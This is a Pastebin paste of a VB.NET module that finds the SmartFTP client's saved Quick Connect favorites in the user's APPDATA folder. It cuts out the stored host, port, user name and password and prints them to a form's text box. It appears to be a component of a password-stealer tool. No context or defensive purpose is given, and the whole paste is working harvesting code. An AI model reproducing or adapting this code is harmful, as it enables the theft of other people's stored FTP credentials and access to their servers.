Advertisement
Guest User

Untitled

a guest
Jun 23rd, 2017
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 3.23 KB | None | 0 0
  1. Module SmartFTP
  2.     Function SmartFTP() As String
  3.         Dim sPath As String = Environ$("APPDATA") & "\SmartFTP\Client 2.0\Favorites\Quick Connect\" & Dir(Environ$("APPDATA") & "\SmartFTP\Client 2.0\Favorites\Quick Connect\*.xml")
  4.         Dim sFile As String = ReadFile(sPath)
  5.         Dim sHost As String = Cut(sFile, "<Host>", "</Host>")
  6.         Dim sPort As String = Cut(sFile, "<Port>", "</Port>")
  7.         Dim sUser As String = Cut(sFile, "<User>", "</User>")
  8.         Dim sPwd As String = Cut(sFile, "<Password>", "</Password>")
  9.         Dim sEntry As String = Cut(sFile, "<Name>", "</Name>")
  10.  
  11.         If Not sUser = "" Then
  12.             Try
  13.                 SmartFTP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Password: " + sPwd + " (Encrypt)"
  14.                 Dim nl As String = vbNewLine
  15.                 Form1.ztext.AppendText(nl)
  16.                 Form1.ztext.AppendText("============SmartFTP==============")
  17.                 Form1.ztext.AppendText(nl)
  18.                 Form1.ztext.AppendText("Entry: " & sEntry)
  19.                 Form1.ztext.AppendText(nl)
  20.                 Form1.ztext.AppendText("Host: " & sHost)
  21.                 Form1.ztext.AppendText(": " & sPort)
  22.                 Form1.ztext.AppendText(nl)
  23.                 Form1.ztext.AppendText("User: " & sUser)
  24.                 Form1.ztext.AppendText(nl)
  25.                 Form1.ztext.AppendText("Password: " & sPwd)
  26.                 Form1.ztext.AppendText("=============================")
  27.                 Form1.ztext.AppendText(nl)
  28.             Catch ex As Exception
  29.                 Form1.ztext.AppendText("============SmartFTP==============")
  30.                 Form1.ztext.AppendText(vbNewLine)
  31.                 Form1.ztext.AppendText("SmartFTP Couldn't Be Recovered!")
  32.                 Form1.ztext.AppendText(vbNewLine)
  33.                 Form1.ztext.AppendText("=================================")
  34.             End Try
  35.         Else
  36.         End If
  37.     End Function
  38.     Function ReadFile(ByVal sFile As String) As String
  39.         On Error Resume Next
  40.         Dim OpenFile As New System.IO.StreamReader(sFile)
  41.         ReadFile = OpenFile.ReadToEnd.ToString
  42.     End Function
  43.     Function Cut(ByVal sInhalt As String, ByVal sText As String, ByVal stext2 As String) As String
  44.         On Error Resume Next
  45.         Dim c() As String
  46.         Dim c2() As String
  47.         c = Split(sInhalt, sText)
  48.         c2 = Split(c(1), stext2)
  49.         Cut = c2(0)
  50.     End Function
  51.     Function RegRead(ByVal hKey As String) As String
  52.         Dim wshShell As Object = CreateObject("WScript.Shell")
  53.         On Error Resume Next
  54.         RegRead = wshShell.RegRead(hKey)
  55.     End Function
  56.     Public Function ReadLine(ByVal filename As String, _
  57.     ByVal line As Integer) As String
  58.         Try
  59.             Dim lines As String() = My.Computer.FileSystem.ReadAllText( _
  60.               filename, System.Text.Encoding.Default).Split(vbCrLf)
  61.             If line > 0 Then
  62.                 Return lines(line - 1)
  63.             ElseIf line < 0 Then
  64.                 Return lines(lines.Length + line - 1)
  65.             Else
  66.                 Return ""
  67.             End If
  68.         Catch ex As Exception
  69.             Return ""
  70.         End Try
  71.     End Function
  72. End Module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement